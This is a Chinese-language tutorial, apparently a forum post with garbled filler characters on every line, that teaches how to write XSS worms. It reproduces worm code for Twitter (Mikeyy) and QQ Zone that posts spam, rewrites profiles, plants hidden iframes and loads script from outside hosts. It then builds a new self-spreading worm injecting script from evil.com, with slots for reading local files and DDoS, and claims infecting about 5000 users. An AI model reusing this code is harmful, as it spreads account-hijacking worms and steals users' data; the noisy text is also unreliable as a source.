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. G' }# i. J$ o9 P6 M( P 18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy."; * ^. n2 w. v! E' i
9 ^( l' W! X1 p" e1 `, J8 S 19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";
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* x2 w% M9 p! @4 N4 r# s9 l! j 20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
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}# i" u @! k* ^- O: F3 x 21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe"; : E9 O6 g) O, p- P
8 q4 B8 Z& V- u( r' `$ p5 I- G! W 22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
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23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";
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25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
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/ s4 a( r$ s- \6 \' W4 \+ w+ { 26. var updateEncode=urlencode(randomUpdate[genRand]); 6 ?- U+ @* y$ [
: Y+ W. x7 x, a. S 27.
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& `% ]. ~: T% r C) T 28. var ajaxConn= new XHConn(); " @4 F& v4 ]( d
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29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
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3 v7 O; \/ G5 c4 v6 g6 q! _0 w1 q5 X 30. var _0xf81bx1c="Mikeyy";
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31. var updateEncode=urlencode(_0xf81bx1c);
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32. var ajaxConn1= new XHConn(); ( T# j- i& u6 s* U8 O4 |
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33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save"); 7 Q- g* O/ Y" h6 j4 k
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34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333"; 0 R' |( ^$ z) t( S
9 k7 w7 s; x% q- w# d8 n7 O 35. var XSS=urlencode(genXSS);
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3 F* A* C/ N1 {9 F7 n" `+ { 36. var ajaxConn2= new XHConn();
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1 p$ I+ z9 X' g9 c' L# H/ t; `; e, b 37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes"); % ?, ~. x5 h* d' P
& C; N! ]6 ?3 R; J: {
38. 4 M \ a4 {( d U3 s6 h7 p* X
, q9 E( B; @0 f6 h8 G2 R 39. } ;
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4 d3 e) G7 C; w! R5 K- U 40. setTimeout(wait(),5250);
e7 Z. h& Z1 L7 W; U- R7 k0 a复制代码QQ空间XSSfunction killErrors() {return true;}
& N( P% U# }0 n' K6 S9 H6 L8 V$ x3 `7 n9 [# {
window.onerror=killErrors;
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; V: N. T- o' @
- W4 }" V5 W- P2 h. _3 \var shendu;shendu=4;
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//---------------global---v------------------------------------------ _, u2 ?0 s: d- x# n z% c
" g. R( G) l/ O$ D- A6 D//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?
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+ l, K/ l' H. C$ Yvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
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var myblogurl=new Array();var myblogid=new Array();
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var gurl=document.location.href;9 n) }- p% v8 x. z
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var gurle=gurl.indexOf("com/");- M7 u& w6 _, s1 k9 J; n
- _' G6 l' O6 p# O1 l6 o' D3 N gurl=gurl.substring(0,gurle+3);
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var visitorID=top.document.documentElement.outerHTML;
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var cookieS=visitorID.indexOf("g_iLoginUin = ");# ?" b t- V8 y+ G
: J' R' g6 m+ y/ _! T( j4 G' M& y visitorID=visitorID.substring(cookieS+14);
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cookieS=visitorID.indexOf(",");
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visitorID=visitorID.substring(0,cookieS);% M9 M' r# `: A- b1 V# L: I
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get_my_blog(visitorID);& L6 p. G& [+ J, v
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DOshuamy();
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* w' h# ?1 | C5 B% ^
7 T' x5 b- {+ S" x//挂马4 ^6 ^3 x O0 b, T
4 Y+ P4 F, f; d1 J* E- t" t% cfunction DOshuamy(){" W4 C4 x2 G2 c3 ^4 o- U' G8 w
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var ssr=document.getElementById("veryTitle");0 @5 v6 Y8 n" V8 w
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ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
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+ s! t4 T2 F. Y7 n0 D; f//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?) P3 g" G, |, l+ D( C0 X9 ~$ g' J
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function get_my_blog(visitorID){
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userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
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- J3 [2 ~# C' L; M8 V: U xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象
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5 e9 t' `" t6 X+ j7 I if(xhr){ //成功就执行下面的0 P/ `" u' O& i0 e- |. D
# C: V/ }& k, p7 T xhr.open("GET",userurl,false); //以GET方式打开定义的URL( j( Z$ T) [7 b* v' ?" ^
5 }- A# g4 ^- Y! x xhr.send();guest=xhr.responseText;
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4 c" S0 M. p) |- j, o2 L# k get_my_blogurl(guest); //执行这个函数" T! m7 S2 X! O! s, ]7 ]5 F
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//这里似乎是判断没有登录的3 A) n4 n" ]3 R* e
# D6 {' a5 q& j9 |function get_my_blogurl(guest){* ^6 ?$ [3 J( J. W @# A
2 j& {* X" l- G0 l7 k6 @1 x7 A var mybloglist=guest;
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6 ]* n8 x% z O9 P, j1 }6 W/ o: K var myurls;var blogids;var blogide;
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for(i=0;i<shendu;i++){) b: t' J9 e: y6 v; {# D3 ~! Q
# i1 ?8 X8 R2 ?7 z- { myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了
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, b" R7 A( p, {$ f7 A3 v) }4 Q if(myurls!=-1){ //找到了就执行下面的) | h/ ~7 q4 l+ A
, Z; H/ u; ~% c' P mybloglist=mybloglist.substring(myurls+11);
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5 i* v& |% F4 R. d myurls=mybloglist.indexOf(')'); K- p9 A6 \* B2 R) u5 I q
8 O; d5 K3 F' S! P myblogid=mybloglist.substring(0,myurls);
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1 e# v5 i5 Q$ ^, C6 H3 I$ { }else{break;}
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; k4 Y' }) x; R# _5 |- m2 |}0 o" m2 O r. z0 L5 _. V+ Z
) @8 D+ {4 G5 {. }; z0 ^
get_my_testself(); //执行这个函数 g: T" v- x t; k5 U$ O
9 z. y% i% ~. B4 {5 M5 r
}
z" m8 g3 S( t; R9 e. K
- G% I' @$ u; ]) V& E6 t0 k% p
! ^% q' v# q, [' ` L l
7 E+ M, i8 V% ]3 R5 Q. |8 `5 |//这里往哪跳就不知道了' r. i. F8 w- Q; A6 N
+ O$ Y( c9 B% c' Ffunction get_my_testself(){
* e8 f8 K5 l1 ^/ {' ]
* H( k& h! q+ i, X; { for(i=0;i<myblogid.length;i++){ //获得blogid的值
2 A& A) D4 A' v1 g4 l9 D" f; Q0 E+ Y. c) l, J
var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();5 F, c: q |9 ~* H s5 A$ t
: e" h" i( [% y
var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象
8 X9 W& ~* ]8 w0 A, ^$ w$ P( I" @8 _9 I- I
if(xhr2){ //如果成功- B6 P0 M( I& j k8 p! v
$ z$ a, _: i" }4 T( u
xhr2.open("GET",url,false); //打开上面的那个url, `/ z/ Z% O) ~3 ^8 m
, B' x) u P9 A C. g' p
xhr2.send();" x' Y8 m% {" ~9 w
7 K9 t" t, [( c8 N* a9 e
guest2=xhr2.responseText;
* o0 h3 T9 d$ m8 o, w) i1 j) `) H/ E; h9 X+ X
var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?
, r4 j0 t( g+ U9 w4 A# l/ k/ M% w5 O; `
var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串" G6 a, [4 ?1 p
, Z" G! d( d, `# {6 R! Z9 f if(mycheckmydoit!="-1"){ //返回-1则代表没找到! X" S6 X' k8 ]" w( N( d. l1 E
/ E$ D' Q' f. C9 @/ ]
targetblogurlid=myblogid;
2 E1 U, g; B1 U6 A! A: V$ K9 ~+ h0 V6 l9 J6 _
add_jsdel(visitorID,targetblogurlid,gurl); //执行它 s: p! Q" x/ z6 s' V% x
1 ^% ~; o; @# v& F' b# f break;" W- m2 A4 R/ k+ |2 e( G, f7 [
9 w( i `% E4 j- F }
0 x( {5 b9 ~' e0 X+ Q& i. q4 u/ l
if(mycheckit=="-1"){
( |( E _4 @! _ @, g4 W3 c2 {* C" Y3 c# E
targetblogurlid=myblogid;
1 d" v: U: I; U& L5 L& p
. h8 G% {1 ^. y; Q8 I add_js(visitorID,targetblogurlid,gurl); //执行它) A; v- d* N8 p3 h6 y
" I1 c2 I9 \7 a' T5 o) T& k
break;
8 o( S. {. f" v$ _' U" r9 u! o+ @- k, R* o6 `$ h1 p: W
}
5 S. a f) C: v: O" }* t2 u6 {7 A4 S
} % I/ d& g" Q$ V1 d' p' a
+ y! H j6 [7 @3 E+ \* D}* C$ ]! c1 t* p+ z5 l F2 T9 q& P
3 P/ t. M+ L/ E1 a. D
}
& l1 M: W* o: [, e7 w& G$ g
4 s. ?6 B C5 v/ C$ j, G$ ^* w- k! \, V0 e l# ?0 I$ }
, j5 X: ]/ {- F! d+ G//--------------------------------------
' E6 t5 o8 C' [: n
1 |8 R6 c! h8 C$ b+ e' c//根据浏览器创建一个XMLHttpRequest对象4 w/ Z& C* s$ Z' z
1 c6 ]: \. B, Q7 ~ ufunction createXMLHttpRequest(){
, S& z+ y1 r/ g4 i* I) H8 V5 a |# F2 v j0 P
var XMLhttpObject=null;
7 g: k/ R7 T, j" U' c7 S
) P- @8 b: Y* W ~# C. m if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()} 2 S+ q" S7 w% c
! M1 k8 b& ~" G) {# c" X else
( p# U, E% p2 _8 c+ e7 [) s0 K, S- ~/ J
{ var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP']; ; ?3 _+ \! r0 o. k; W: d
6 V3 \3 h& k1 j" t: S! o
for(var i=0;i<MSXML.length;i++)
$ r* o/ G, q6 D6 ?
" ^! O, z Y7 @* e {
7 ^( m* U% _' G* |* }
m0 J6 ~0 h( q8 B" ~/ A8 p try 8 R5 a. O3 U! U
- A0 N! C# t# f$ C { 1 U; R( j/ G/ E; y S
6 C* v: T3 g5 v) h+ n8 h% i" u) a XMLhttpObject=new ActiveXObject(MSXML);
* l5 W0 l; n3 F+ S" G2 T
3 Q+ H1 {5 f+ j3 a$ W break;
+ @* a1 U' Y5 [' i/ Z' W' h7 w% X7 N: ^1 a& Z6 ~# Z, ]& V
} ; W8 p' Y1 m( a) U; p
9 r- }5 X5 b4 u/ [
catch (ex) {
8 F" S. s" J3 A4 }4 e+ f$ |; ?4 d) K7 B5 v; Z/ a/ h
}
* {" C. }8 q; |0 ]& G9 a; V3 S3 B: V+ Q9 s: u
} $ F) } {* }6 p: x/ K' q
/ N7 y5 Z2 _) I
}
; T- |" d8 d& D9 ?8 U6 j1 s- o& ]4 `
return XMLhttpObject;
/ L& j0 S) P9 h2 Q4 X/ M* M" y! s. x2 `2 `3 g
} h/ x! i2 `# `; j' e/ u! Y
" O9 y. W" b O- O
# i9 G2 O: B5 E9 X
; i7 \! B( L- k//这里就是感染部分了
( ]; s( x, s' u1 ~& U8 S
( \6 h# z* V9 A8 a5 x& \3 Mfunction add_js(visitorID,targetblogurlid,gurl){* V" F0 a6 w- Z" j7 J. A2 U$ I& c
- N0 a$ Q6 U: |/ X0 m" k; ^var s2=document.createElement('script');
/ _3 l- L4 _2 A$ `
( X. K f) `# e0 y$ |s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();. L7 j1 U: }# @3 _
6 p( M7 @( i+ B+ Q$ qs2.type='text/javascript';
* |: I) V* n: Y, Z0 X
7 i% _" ~0 L8 ^, q0 ndocument.getElementsByTagName('head').item(0).appendChild(s2);
. Y+ s1 Q, {* F% w
& i$ @ S9 n0 d7 a* ~}4 [. p" G* { r `0 B/ |: Y3 c
) z! q4 Q' Y# e# B. \
/ o% b+ V$ C/ l
: [5 k) K( {% V2 [function add_jsdel(visitorID,targetblogurlid,gurl){6 a, g+ Z' |; p5 k# l v$ x
& j4 u" {3 J% a+ ~( A) D" }var s2=document.createElement('script');1 l& q* f3 ?5 L# q( l
* ^9 D! Q$ L- w/ Gs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();7 X% U8 t# D; o
) Z+ {. D0 `+ s; \, h G
s2.type='text/javascript';
. W4 |: c4 X7 d! S# w9 u- T; i1 c. p$ V. \/ V* y
document.getElementsByTagName('head').item(0).appendChild(s2);
# [8 Q& ]! s" X, J/ n+ B4 s
) O; u: Z& v3 a}4 L" C5 b1 p% C# {: w% @! p. `
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
9 }' \$ S3 G4 m( X! a$ k1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
- v' q4 J, u) ?0 O' w' f7 t0 n- G7 M- {2 C+ w
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)& _# a& e( E( @* s! s4 F9 G
7 \1 D) j8 B6 s! Y; b! R2 F9 j
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~0 c; B/ l G3 W r$ P
( j1 Z4 Z" T" t7 ^! |3 M, |# r8 q1 N- m- ~4 k- j
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.3 W; ?/ O/ ]( ^7 {; o) Z
4 r, S V" a0 w9 Q
首先,自然是判断不同浏览器,创建不同的对象var request = false;
3 S3 K8 K @5 D4 A% O) j9 v8 g% V# {4 O7 R% q b" u3 B: a
if(window.XMLHttpRequest) {
2 H. N- j. e9 m3 V
( _3 s% q* h/ C* n, i9 Z& Nrequest = new XMLHttpRequest();: m! D9 b( R* E" E8 o/ a& D+ o
6 ?! x+ s5 F3 s& O2 Q
if(request.overrideMimeType) {/ U0 d, j. N) F9 @1 _7 ~! \5 }
, L' M4 @6 E9 V) srequest.overrideMimeType('text/xml');
) z$ P6 o8 `7 e: J3 S! w3 T2 g, C, o: C V* [
}
8 s* e9 u3 s/ R* _* d4 A) E: P" w% U- w! A4 r
} else if(window.ActiveXObject) {
. m# P; G% F. N1 M! T2 S5 Q+ [2 s" ~* ^! O) ]
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
8 L9 z& M( a: C
+ ^+ N: S/ Q) r/ q1 O' E+ vfor(var i=0; i<versions.length; i++) {
' d; x$ P& w1 b0 n
, Z% n3 ?" e: D# p+ {- F% ]+ N) ytry {, Z* x9 V/ [/ W' j+ F: O, k. m
4 H* \( @# z8 U# _$ z. V: ^
request = new ActiveXObject(versions);
' U# W. r4 W9 d, O* J
2 n9 N2 p6 D$ h6 X) i9 l} catch(e) {}
2 F1 Q% @* P0 E* g: `" U d
1 j6 }5 j6 u$ B% f; k}! B5 ]( {! C& J2 I# Z+ \+ f! ?& M
1 ~- F t% T+ V. X8 y3 x! l}5 y" X% q9 Z2 X' k
* a! }8 @2 M4 e9 axmlHttpReq=request;
6 J: j" w- @1 G* p+ E2 t) Y2 a1 g复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){; C F* b5 i/ C5 C# e+ m3 W
/ g4 g1 i' O0 v( Z
var Browser_Name=navigator.appName;9 P. R( J1 |' @. N4 K+ E7 y
4 \9 ^( C$ a7 ]7 ]( H! \ var Browser_Version=parseFloat(navigator.appVersion);
. Y0 h7 U9 G0 T5 J% A7 e b* n" \. n7 j2 x/ l3 ^" R
var Browser_Agent=navigator.userAgent;. ^# o5 Q2 C/ n4 L' C0 Q9 [
* S1 }. _6 @# O5 Z0 y& ^ ( @, p, O. t& E8 M% f2 ^6 l
7 t6 ^- ~' G" c# g var Actual_Version,Actual_Name;
& Z- C' C. a# B+ U9 S
9 u9 ?$ |7 O8 k8 s) c8 H0 s( U 6 C9 m+ a. c" j
. `7 d: \8 W+ X4 H var is_IE=(Browser_Name=="Microsoft Internet Explorer");" L( t1 S6 C8 A3 r. y% E) U
$ F& T& X2 A; a5 ~- E. e
var is_NN=(Browser_Name=="Netscape");% q& ?' h2 T% J" C! U. D, F# W/ G2 A
& i: T/ F7 m# p0 N var is_Ch=(Browser_Name=="Chrome");$ y& z9 F L; f
& k) }1 o6 D9 z3 p! O) T: u , C& ]) K& ]7 @; g) {; r
5 v/ L$ H* m. ?* R- V6 k0 ~- _ if(is_NN){7 X* }$ @" ]9 d7 h
8 w' S$ Z6 G1 u1 h! M' @ b& K/ p
if(Browser_Version>=5.0){/ G( B* [, h4 v7 F
( d0 f' n# n4 B$ i2 O- v& E
var Split_Sign=Browser_Agent.lastIndexOf("/");# @+ X8 X5 ?# k; ]$ A3 ^/ N' R
( I* X8 U1 X9 _
var Version=Browser_Agent.indexOf(" ",Split_Sign);
0 d$ a& Y; h8 M9 A4 s/ v
8 }' u- {- w8 g" t/ B8 G0 ?$ I var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);8 K/ {/ F- G! w& Y% t _/ Q" @& N8 `/ S
& X2 t: f1 H" p& X
, r" N& o; i- q- |
2 L2 E1 Z* J* z0 X* x6 P Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
4 b" |0 c8 w9 a+ M8 [- G/ n7 x4 S4 Q2 b X/ e
Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
: c% W e4 @% c/ b
& M) s$ u2 U( K- ~$ q1 R }
( A+ u: h0 P8 }$ W4 B! k) O: s# x$ v/ ?
else{
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; m! J& ^ W) U6 h# e+ h0 Z* a Actual_Version=Browser_Version;; L, @0 [1 T8 @5 W# q( `
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Actual_Name=Browser_Name;1 J2 g9 m, Q5 A, N8 k8 p: ?
* `8 q( T* L2 h- D% o }
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# h. c: `. o" ]/ \9 k, Z+ I# G% H }/ _3 \$ `6 M' G$ N; r8 e
5 p8 s" I0 o0 k% Y- I' H3 s% t
else if(is_IE){9 Q: ?/ b1 _6 e
' ~7 S% l* C+ _" S9 @
var Version_Start=Browser_Agent.indexOf("MSIE");( z9 P" ?. | G I
, g d8 N2 N! B$ u& \5 J1 K
var Version_End=Browser_Agent.indexOf(";",Version_Start);2 p& x" A: ?9 u
9 _) t: h$ e3 B0 M7 Q! h* s Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
1 ]; L0 H: L; m& z2 N
7 V" W! A' ~' {; t* o Actual_Name=Browser_Name;4 Y# l8 L& e! O. U% P
& Y. x# \: Y( F0 @3 j
- |; p' x$ v' ]; V. A
9 i+ p# b6 g* L# I if(Browser_Agent.indexOf("Maxthon")!=-1){5 C4 b7 w: y% F
, G2 C, F1 l: v2 ~
Actual_Name+="(Maxthon)";
" {, W4 G4 I) ?
( k2 e7 i8 l2 [0 [7 l8 [ }
- R! z# G* t2 p' \0 [: S4 W
0 Z* c7 ^" T! w else if(Browser_Agent.indexOf("Opera")!=-1){ m; e7 L5 I5 k s
+ f- O/ c( s) f D
Actual_Name="Opera";
g, H/ V: m) g
- e: E, s4 J# F4 v. T4 B; |$ W var tempstart=Browser_Agent.indexOf("Opera");) \% U& w# m4 h+ l+ N$ `/ T
- h8 B( M- @) G+ g5 D var tempend=Browser_Agent.length;
5 l6 h# O; U6 c) z
# A# J0 l6 w# x" A+ W0 Q Actual_Version=Browser_Agent.substring(tempstart+6,tempend)% K% F# o+ {- }2 c
; _! ]5 |6 | E$ Z# u& Z4 Y; I
}2 p3 L* b- y8 ] R, `- p. H4 J
1 D# c4 K, w8 J4 f9 f$ i! A$ Y. [5 N } R0 Y# \% k# A
# f! _. ]8 I+ A; n8 [
else if(is_Ch){
! D7 f- A! _9 z) u
! P2 Q9 s" _. ?4 |% Q% \ F var Version_Start=Browser_Agent.indexOf("Chrome");
& f5 X& }# l% p9 B' R( I- {" `/ ?/ J: b& N* `8 X/ o, I
var Version_End=Browser_Agent.indexOf(";",Version_Start);* w9 b: x9 K2 x4 `( ?
- t# ]# ^5 K9 E5 X
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)8 g5 N, x) c( Y% q5 U
2 M1 X5 B/ y8 l& {# a$ ?- g6 p
Actual_Name=Browser_Name;2 y0 x* q3 B% N: }4 w; n
( F" J# }2 n5 |4 F# r* x 8 T' M1 F# ~, B! y5 R R
1 o3 ~3 B# r9 v5 q if(Browser_Agent.indexOf("Maxthon")!=-1){. {# n# \( J: c1 }% z
+ v, a. x, O5 p7 X1 v
Actual_Name+="(Maxthon)";+ B* U @2 P! f0 ~5 B( S& A5 l
6 g+ d1 I3 g( S- t$ U; `" e4 v }
8 o; O7 C& H8 @# J/ o0 t
, S+ B4 M% P% t6 R8 G else if(Browser_Agent.indexOf("Opera")!=-1){
; Q8 U2 l0 E ]/ {+ s. v Y3 t8 q5 l) {' [% r" M+ M! G( D
Actual_Name="Opera";
+ c0 p9 M0 ]- A$ [: B' f- u9 _7 Z1 b% g7 F
var tempstart=Browser_Agent.indexOf("Opera");
4 V( N4 M% W* ?, A6 K, J. _2 H4 I6 R8 b7 y6 j/ n- S; k: E
var tempend=Browser_Agent.length;2 F& I, t# m. i9 X
8 M/ F, A( Q& ^" ~6 J
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
5 N l2 [' t' l4 C
3 g* S8 }) r* E }
( U. l1 j1 ?& J
5 Q$ Q$ r0 s* a( ^3 u2 f# D2 P& V- z }" @* X6 `( h- U
6 ^4 w. w2 U$ V5 {
else{; {3 Z7 l% d e7 v+ R4 X
& ]3 {6 i2 k7 b# m- }7 }! u Actual_Name="Unknown Navigator": U5 t# s& s/ Z( U1 A8 e
, p+ f, N; H& ]8 B1 E' [' t9 G
Actual_Version="Unknown Version"! c1 L1 U, E7 V6 y7 b) N/ y
" N" n0 H1 T) d }
3 @+ e+ i1 h }8 g6 T8 S- X8 \4 A% s3 \" N3 B0 ^
+ ` x( ], {5 u$ w" h7 W# z4 I9 g& N1 m: ^4 |
navigator.Actual_Name=Actual_Name;
8 O: C# h3 G7 s% Q" u. @" k/ Y7 V7 P" z
navigator.Actual_Version=Actual_Version;2 u9 V# ^* a3 x/ s' x* v# z+ b
5 q( w, F' j/ F3 F
" F7 u: l1 R5 J, F+ R7 a" l# v; }7 i4 |2 p1 T
this.Name=Actual_Name;
B0 K+ F z: C/ j, Q
$ P% t% P& U' K3 C3 t7 J this.Version=Actual_Version;
3 G, W- [* j: L& {+ w
6 E8 I+ j/ ]# P$ o- d3 r }9 J' V$ Z% o3 c$ p- ?% G
9 t& b8 y* f- A, ]+ V% h
browserinfo();2 v! s+ T1 @; M- {3 D% ]
; @; ?0 ^' c6 c! _3 K if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
" P" T) D! D- G' U
' x% X( a1 G e- l/ d) u if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
/ j( f9 g* Q" A, t4 a4 d; L5 x8 w, }+ `+ ]7 [
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
6 W3 u$ X5 x" v6 s" ^
5 N1 `+ h0 v+ {1 M" A6 @ if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
" z7 V6 X; Y- L T复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码/ N$ P7 e8 h# V' ]/ X1 a
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码1 T5 a$ H/ T L0 j9 c2 F
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面./ G& P c' T: S6 L; O& S- L1 a
* ^5 c+ X. C: a
xmlHttpReq.send(null);
# U: d( D& m' c2 f! z, H
3 E$ H9 w9 h( Y/ ~. G4 ?var resource = xmlHttpReq.responseText;
# d u5 P+ t# o$ C0 ?1 f
& t& S# u" S" P0 ]4 ]7 H1 g9 ^var id=0;var result;' L+ G/ V0 i1 l- N9 b/ G" e
- m% y& L8 F/ V8 ^+ h3 f3 a
var patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.8 }9 _' R+ F0 z
" b/ C* K' J% ]- A K9 @
while ((result = patt.exec(resource)) != null) {
: {/ ], Y8 x8 F) r
. @* [8 F z' l4 w2 y# S6 [& F: ?id++;) }4 |3 u N) ?* |1 Y
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复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.# v' B8 F% X( G3 e/ H9 N8 q. c- x
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no=resource.search(/my name is/);
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; Z9 M* D) k) c, Bvar wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
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( f W8 E+ e% D2 W1 i$ zvar post="wd="+wd;" \3 Q. W& {2 U1 y5 ~
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xmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.2 M" ]9 o* Z& \% ]. e. {
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");) g& R# X4 [4 {$ g
5 `2 A. O N1 U& q$ xxmlHttpReq.setRequestHeader("content-length",post.length); / q# o* k- K" D% S$ F. `
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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xmlHttpReq.send(post);: [% ]" A* [' m8 m) t
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复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
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4 ?8 Z* w' Q- e5 F4 _# gvar no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方6 E. [$ B' y, D3 n9 w# i% y' N6 ]( N
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var namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.0 F: o8 e F3 m6 H- I0 w
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var wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
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var post="wd="+wd;0 g# o% X2 Z) r
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xmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);6 @7 a8 h% a2 }" J" J6 Z
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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2 r/ F7 n \: e6 v' DxmlHttpReq.setRequestHeader("content-length",post.length);
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1 l2 c( Q" h% k* [ j) A1 FxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");+ \! f; n, H! j. B* L3 X: P
+ b0 j! U) N3 p0 W, q! @xmlHttpReq.send(post); //把传播的信息 POST出去.
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复制代码-----------------------------------------------------总结-------------------------------------------------------------------3 `7 J. |3 r5 o' R% R0 m
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本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.8 ~) O# H8 V3 Z \9 ^, \3 |
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
% G. d) ]6 {" X/ G操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.: x4 o! D% U. W- t5 n
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本文引用文档资料:9 U: Q2 P7 ~6 J+ c7 L2 n/ U
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"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)& P+ c! G8 ]1 q* c1 G4 m' S
Other XmlHttpRequest tricks (Amit Klein, January 2003)
0 P4 R' t+ C( I+ E7 g/ G"Cross Site Tracing" (Jeremiah Grossman, January 2003)
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